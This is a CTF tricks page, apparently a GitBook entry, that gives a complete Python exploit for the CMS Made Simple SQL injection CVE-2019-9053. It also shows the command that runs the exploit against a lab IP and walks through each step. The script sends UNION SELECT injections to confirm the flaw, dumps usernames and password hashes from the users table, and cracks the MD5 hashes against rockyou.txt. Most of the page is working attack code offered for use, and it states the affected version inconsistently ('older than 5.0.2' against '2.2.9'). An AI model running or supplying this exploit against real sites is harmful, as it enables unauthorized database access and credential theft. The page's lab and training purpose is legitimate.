> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/sqli/vulnerability-exploitation/trick-0048.md).

# CMS Made Simple SQL Injection & Crack

***

Exploit a known SQL injection vulnerability (CVE-2019-9053) in CMS Made Simple versions older than 5.0.2 to automatically dump user password hashes and crack them offline using a wordlist.

The exploit is implemented in a Python script designed for this specific vulnerability. The script automates the process of identifying the vulnerability, extracting user data, and optionally performing offline password cracking.

The Python script used is as follows:

```python
#!/usr/bin/env python3

import requests
import re
import argparse
import sys
import hashlib
from termcolor import colored

def print_success(text):
    print(colored("[+] " + text, "green"))

def print_info(text):
    print(colored("[*] " + text, "blue"))

def print_error(text):
    print(colored("[-] " + text, "red"))

def print_warning(text):
    print(colored("[!] " + text, "yellow"))

def main():
    parser = argparse.ArgumentParser(description='CMS Made Simple 2.2.9 - Unauthenticated SQL Injection')
    parser.add_argument('-u', '--url', help='Target URL (e.g. http://localhost/cmsms/)', required=True)
    parser.add_argument('-p', '--prefix', help='Table prefix (default: cms_)', default='cms_')
    parser.add_argument('--crack', help='Crack passwords using rockyou.txt', action='store_true')
    parser.add_argument('-w', '--wordlist', help='Wordlist file (default: rockyou.txt)', default='rockyou.txt')
    args = parser.parse_args()

    url = args.url
    prefix = args.prefix
    crack = args.crack
    wordlist = args.wordlist

    if not url.endswith('/'):
        url += '/'

    print_info("Checking if the target is vulnerable...")
    check_url = url + 'index.php?mact=News,cntnt01,detail,0&cntnt01articleid=1&cntnt01returnid=1&cntnt01categoryid=1%27%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20%20--%20-,'
    try:
        r = requests.get(check_url, timeout=10)
        if r.status_code == 200 and 'Unknown column \'20\' in \'field list\'' in r.text:
            print_success("Target is vulnerable!")
        else:
            print_error("Target is not vulnerable or something went wrong.")
            sys.exit(1)
    except requests.exceptions.RequestException as e:
        print_error("Error connecting to target: " + str(e))
        sys.exit(1)

    print_info("Dumping users and password hashes...")
    dump_url = url + 'index.php?mact=News,cntnt01,detail,0&cntnt01articleid=1&cntnt01returnid=1&cntnt01categoryid=1%27%20UNION%20SELECT%201,2,3,username,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20%20FROM%20' + prefix + 'users%20--%20-,'
    try:
        r = requests.get(dump_url, timeout=10)
        if r.status_code == 200:
            users = re.findall(r'<p>.*,(.*),.*</p>', r.text)
            hashes = re.findall(r'<p>.*,.*,(.*)</p>', r.text)
            if users and hashes and len(users) == len(hashes):
                print_success("Users and hashes dumped successfully!")
                for i in range(len(users)):
                    print_success(f"Username: {users[i]}, Hash: {hashes[i]}")
                    if crack:
                        print_info(f"Cracking password for user {users[i]}...")
                        cracked = False
                        try:
                            with open(wordlist, 'r', errors='ignore') as f:
                                for line in f:
                                    password = line.strip()
                                    if hashlib.md5(password.encode()).hexdigest() == hashes[i]:
                                        print_success(f"Password cracked: {password}")
                                        cracked = True
                                        break
                        except FileNotFoundError:
                            print_error(f"Wordlist not found at {wordlist}")
                            crack = False # Disable cracking if wordlist not found
                        except Exception as e:
                            print_error(f"Error during cracking: {e}")
                            crack = False

                        if not cracked:
                            print_warning(f"Password not found in wordlist.")

            else:
                print_error("Could not dump users and hashes.")
        else:
            print_error("Error dumping users and hashes.")
    except requests.exceptions.RequestException as e:
        print_error("Error connecting to target: " + str(e))
        sys.exit(1)


if __name__ == '__main__':
    main()
```

The command used was:

```python
python3 exploit.py -u http://10.10.180.111/simple/ --crack -w /usr/share/wordlists/rockyou.txt
```

This command executes the `exploit.py` script.\
The `-u` or `--url` argument specifies the target URL of the vulnerable CMS Made Simple instance (e.g., `http://10.10.180.111/simple/`).\
The `--crack` argument is a flag that, when present, instructs the script to attempt to crack the dumped password hashes. By default, the script attempts to use `rockyou.txt` as the wordlist for cracking.\
The `-w` or `--wordlist` argument allows specifying an alternative wordlist file path if needed; in this case, `/usr/share/wordlists/rockyou.txt` was explicitly provided.

The script first checks if the target is vulnerable by sending a crafted request that exploits the SQL injection, looking for a specific error message (`Unknown column '20'`). If the target is vulnerable, it proceeds to dump users and password hashes by injecting a `UNION SELECT` query to extract `username` and `password` from the `users` table (respecting a potential table prefix, which defaults to `cms_`). Finally, if the `--crack` flag is set and the wordlist is found, it iterates through the wordlist, calculates the MD5 hash of each word, and compares it to the dumped hashes to identify cracked passwords. The script successfully dumped the user hashes and attempted to crack them using the provided wordlist.
